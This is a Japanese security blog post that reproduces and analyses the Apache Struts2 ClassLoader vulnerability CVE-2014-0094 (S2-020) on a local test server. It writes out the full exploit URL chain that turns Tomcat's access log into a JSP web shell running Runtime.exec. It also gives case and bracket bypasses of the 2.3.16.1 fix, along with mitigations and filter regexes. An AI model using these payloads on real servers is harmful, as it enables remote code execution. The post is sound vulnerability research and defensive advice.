piyolog

piyokangoの備忘録です。セキュリティの出来事を中心にまとめています。このサイトはGoogle Analyticsを利用しています。

IPAが注意喚起をしたApache Struts2の脆弱性CVE-2014-0094について調べてみた。

Apache Struts2脆弱性についてIPAが注意喚起を4月17日に掲載しました。

検証コードが既にインターネット上で公開されていること、そして悪用が比較的容易であることから、ここではS2-020のClassLoaderが操作されてしまう脆弱性CVE-2014-0094について調べた結果をまとめます。

1.検証環境の準備

検証にあたり、Apache Struts2の環境のメモです。Struts2を動かすだけであれば以下の作業を行うだけでWindows上で簡単に動作させることが可能です。

(1) 必要なファイルのダウンロード

Struts2を動かすために必要なファイルは次の3つです。

(2) 環境変数の設定

Tomcatを起動させるために次の2つの環境変数を設定します。

  • CATALINA_HOME
  • JRE_HOME
    • JREのインストール先を指定する。
(3) Struts2のWARファイルを配備する

Struts2のWARファイルがappsの中にあるので、これをTomcatのwebappsにコピーします。

(4) Tomcatを起動させる

TomcatのbinフォルダにStartup.batが存在するのでこれを実行するとTomcatが起動し、Struts2が展開されます。

2. CVE-2014-0094の検証

CVE-2014-0094のPOCは「S2-020 Struts2」と検索をするだけで解説サイトが出てきます。今回はそのPOCを使って検証を行ってみました。

CVE-2014-0094の影響を受けるApache Struts2は次のバージョンです

  • 2.0.0 〜 2.3.16

今回の検証では次の環境を使用しました。

(1) ClassLoaderで操作できる属性を確認

検証コードの解説ではまず、ClassLoaderで操作できる属性を確認するJSPが掲載されていました。ここで掲載される属性は指定できる値が「Java.lang.String」、「boolean」、「int」のいずれかである場合に列挙されます。
今回自分の環境で実行したところ列挙された属性は241個存在しました。具体的な属性名は大量にあるため、参考として最後に記載しています。

(2) CVE-2014-0094 Exploit

CVE-2014-0094が存在するApache Struts2に対して、次の文字列を送信することで、Struts2が稼働するサーバーに対して任意のClassLoaderの操作をすることが可能です。

ttp://localhost:8080/example.action?class.classLoader.(操作したい属性)

(3) CVE-2014-0094を使ったリモートからのプログラム実行検証

この検証コードでは次の流れを経て、Struts2が稼働するマシン上で特定のプロセスを起動させるものです。

ttp://localhost:8080/struts2-blank/example/HelloWorld.action?class.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT

ttp://localhost:8080/struts2-blank/example/HelloWorld.action?class.classLoader.resources.context.parent.pipeline.first.prefix=shell
 
ttp://localhost:8080/struts2-blank/example/HelloWorld.action?class.classLoader.resources.context.parent.pipeline.first.suffix=.jsp

  • 最後にログローテーションにより日付(既定ではYYYY-MM-DD)がファイル名に含まれてしまうため、これを「1」に変更します。

ttp://localhost:8080/struts2-blank/example/HelloWorld.action?class.classLoader.resources.context.parent.pipeline.first.fileDateFormat=1

これ以降はwebapps/ROOT上にアクセスログが記録され、アクセスログの内容が公開ディレクトリ上から確認ができるようになりました。

  • さらにこのアクセスログJavaコードを記録させます。この検証コードでは「calc」と実行させるコードが記録されます。

ttp://localhost:8080/struts2-blank/example/aaaa.jsp?a=<%Runtime.getRuntime().exec("calc");%>

  • 以上で「Shell1.jsp」を呼び出すと電卓がStruts2が稼働するサーバー上で起動してしまいます。

ttp://localhost:8080/shell1.jsp

この時、電卓はTomcatと同じ権限で起動されます。ファイルの操作も出来ると思いますが、Tomcatが実行される権限の範囲に限定されます。*2

3. CVE-2014-0094のパターン

クラスローダーの呼び出し方には複数の方法が確認されており、2014年4月24日現在リリースされている最新版(2.3.16.1)も影響を受ける可能性があります。

クラスローダーの呼び出し方 2.3.16.1が影響を受ける可能性
公開されていたPOC(class.classLoader) 無し
大文字を混ぜる(class.ClassLoader) 有り
中括弧を使用する(class.['classLoader']) 有り

4. CVE-2014-0094の対策

(1) 最新版への更新

S2-020公開と同時にその修正版である「2.3.16.1」が2014年3月に公開されています。2.3.16.1ではこの脆弱性の影響を受けないことを確認しました。

対応が十分ではなく、最新版(2.3.16.1)に更新をしても影響を受ける可能性があります。

(2) 回避策

何らかの事情によりしばらくは影響を受けるバージョンを稼働させなければならない場合、一時的な回避策としてClassLoaderを操作するために必要な文字列「class.」から始まる文字列がクエリストリングに含まれていた場合にこれを拒否する設定方法(struts2-defalut.xmlへの記載等)がS2-020に記載されていました。
S2-020で回避策として示されている内容が十分ではなく、影響を受ける可能性があります。

(3) MBSDの暫定対応策

MBSDが暫定対応として、サーブレットフィルタを公開しています。このフィルタでは上で列挙している現在確認したCVE-2014-0094のパターンが全て網羅されます。

追記(1) yukisovさんからの情報

struts-default.xmlのexcludeParamsで変更された動きがある事を@yukisovさんがトレースされていました。またS2-020で示されている正規表現「^class\..」に抜けがあるようでGithubにある「apache/struts」のexcludeParamsでは「(.*\.|^)class\..*」に修正されています。

これに関係するやり取りとして、FullDisclosureに次の投稿が行われています。またその意味について@yukisovさんに教えて頂きました。

This blocks parameters that start with "class", but what about ones
that contain class internally? Based on [1], I would think an
attacker could send a parameter like this:
 
 anObject.class.classLoader...
 
Which would result in, effectively:
 
 action.getAnObject.getClass.getClassLoader...
 
So long as a developer defines an action within their application that
that has *any* get method that returns an Object ("getAnObject" in
this example), then they'd still be able to get at the ClassLoader
with your exclusion regex, right? Or am I missing something about
other mitigations you guys have put into place in prior versions?

http://seclists.org/fulldisclosure/2014/Mar/50

追記(2) 金床さんの指摘

追記(3) 2.3.16.1の修正は十分ではなく、脆弱性を突いた攻撃がまだ可能な模様

MBSDが2.3.16.1には0dayがあると報告。

There is another bypass of the excludeParams workaround.

Test.action?class['classLoader'].resources......(snip)

I confirmed it works on struts 2.3.16.

http://seclists.org/fulldisclosure/2014/Apr/250

追記(4) S2-020を使ってサーバーを掌握する検証報告

【検証結果】
下図は、攻撃後の誘導先のコンピュータ(Windows 7)の画面です。赤線で囲まれている部分は、誘導先のコンピュータのホスト情報です。一方、黄線で囲まれている部分は、ターゲットPC(Linux)において、コマンドを実行した結果が表示されています。これにより、ターゲットPCの制御を奪うことに成功しました。

http://n.pentest.jp/?p=31308

参考(1) Tomcat ClassLoaderで操作できる属性(の一部)

検証環境で確認できた、属性に設定できる値が次の3種類のいずれかの場合にClassLoaderで操作できる属性一覧です。

  • Java.lang.String
  • boolean
  • int

沢山あるのでPastebinに転記しました。
http://pastebin.com/UHkW7cwB

POCはTomcat8以外では動作しないという話を聞いたので試してみましたが、私の環境でも実際POCは動きませんでした。設定できる属性がTomcat8に比べて7は23個だけでPOCで使用しているアクセスログの設定も確認できませんでした。この数に差が出来ている理由については調べきれていません。

Tomcat7(7.0.53)で確認できた属性一覧
http://pastebin.com/0QcW8U9T

またTomcat6(6.0.39)も調べてみました。Tomcat6はTomcat7同様23個でしたが、設定できる属性が異なるようです。
http://pastebin.com/Qt298kDP

参考(2) S2-020を見た金床さんのTweet

*1:Struts2脆弱性の動作検証だけであれば、appsを落としてくるだけでよいと思います。

*2:当初「Struts2と同じ権限」と記載していましたが、正しくは「Tomcatの権限」のため記載内容を修正しました。(4月23日修正)イケてる男子の@ntsujiさんからご指摘いただきました!ありがとうございます。